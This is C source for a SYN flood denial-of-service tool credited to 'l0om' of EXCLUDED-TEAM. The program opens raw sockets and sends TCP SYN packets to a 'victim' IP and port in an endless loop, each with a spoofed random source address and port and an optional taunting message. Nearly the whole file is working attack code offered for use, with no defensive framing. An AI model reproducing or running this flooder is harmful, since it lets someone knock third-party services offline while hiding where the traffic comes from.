/* EXCLUDED-TEAM [www.excluded.org]
   synflooder

   creats random source ips and source ports on flooding.


   syn [dest-ip] [dest-port] {fuck off}

   dest-ip: victims ip-address
   dest-port: port to synflood
   {fuck off}: enter a string here if you want to send your victim
               this short (?) message


   by l0om
*/
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
 #define __FAVOR_BSD
#include <netinet/tcp.h>


#define    RANDVAL()    (rand()%255)


ssize_t tcpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, unsigned char flags, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void help(void);
void header(void);
static void sig_int(int sig);


struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};
unsigned long sent = 0;


int main(int argc, char **argv)
{
  char ip[15] = {0};
  unsigned int victim;
  unsigned short destport;
  int nbytes;

  header();

  if(argc < 3) { help(); exit(0); }

  rand(getpid());
  victim = inet_addr(argv[1]);
  destport = atoi(argv[2]);

  if(signal(SIGINT, sig_int) == SIG_ERR) {
    fprintf(stderr, "cannot install signal handler\n");
    exit(-1);
  }

  printf("hit [enter] to syn flood %s on port %s",argv[1],argv[2]);
  if(argc == 4) printf(" with [%s] as payload in every packet",argv[3]);
  printf("\npress CTRL+C to quit...\n");
  read(1,ip,2);

  printf("\nflooding...\n");
  while(1 > 0) {    /* i love this one */
    snprintf(ip, 15, "1.%d.%d.%d\n",RANDVAL(),RANDVAL(),RANDVAL());
    nbytes = tcpsend(inet_addr(ip),
                     victim,
                     RANDVAL()+2003,
                     destport,
                     TH_SYN,
                     ((argc > 3) ? argv[3] : ""),
                     ((argc > 3) ? strlen(argv[3]) : strlen("")));
    if(nbytes == 0) {
      fprintf(stderr,"send error (%d packets have been sent)\n",sent);
      exit(-1);
    }
    sent++;
  }
  return(0);
}


ssize_t tcpsend(unsigned int saddr, unsigned int daddr, unsigned short sport,
		unsigned short dport, unsigned char flags, char *data,
		unsigned short datalen)
{
  char *packet;
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct pseudohdr *pseudo;
  struct sockaddr_in servaddr;
  int retval, sockfd, on = 1;

  packet = (char *)malloc((sizeof(struct iphdr)+
			   sizeof(struct tcphdr)+datalen)*sizeof(char));

  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(dport);
  servaddr.sin_addr.s_addr = daddr;

  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  if(sockfd < 0) {
   fprintf(stderr,"cannot creat socket\n");
   return(0);
 }
 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
   fprintf(stderr, "cannot setservaddr\n");
   return(0);
 }

 ip = (struct iphdr *)packet;
 tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
 pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct
pseudohdr));

 memset(packet, 0x00, sizeof(packet));
 memcpy(packet+sizeof(struct iphdr)+sizeof(struct tcphdr), data, datalen);

 pseudo->saddr = saddr;
 pseudo->daddr = daddr;
 pseudo->protocol = IPPROTO_TCP;
 pseudo->length = htons(sizeof(struct tcphdr) + datalen);

 tcp->th_sport = htons(sport);
 tcp->th_dport = htons(dport);
 tcp->th_seq = rand() + rand();
 tcp->th_ack = rand() + rand();
 tcp->th_off = 5;
 tcp->th_flags = flags;
 tcp->th_win = htons(2048);
 tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) +
		       sizeof(struct pseudohdr) + datalen);

 memset(ip, 0x00, sizeof(struct iphdr));
 ip->version = 4;
 ip->ihl = 5;
 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
 ip->id = rand();
 ip->ttl = 255;
 ip->protocol = IPPROTO_TCP;
 ip->saddr = saddr;
 ip->daddr = daddr;
 ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

 if((retval = sendto(sockfd, packet, ntohs(ip->tot_len), 0,
		  &servaddr, sizeof(servaddr))) == -1)
  return(0);
   close(sockfd); return(retval);
}

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long	sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }

  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return(answer);
}

static void sig_int(int sig) {
  printf("\n\n\tRECEIVED INTERRUPT SIGNAL - [STOP]\n");
  printf("\t%d packets have been sent\n",sent);
  sleep(1);
  exit(0);
}

void help(void) {
  puts("syn [dest-ip] [dest-port] {send this string every time to host}");
}

void header(void) {
  puts("
    ##################
    #    SYN-FLOOD   #
    ##################
           l0om
    [www.excluded.org]
");
}
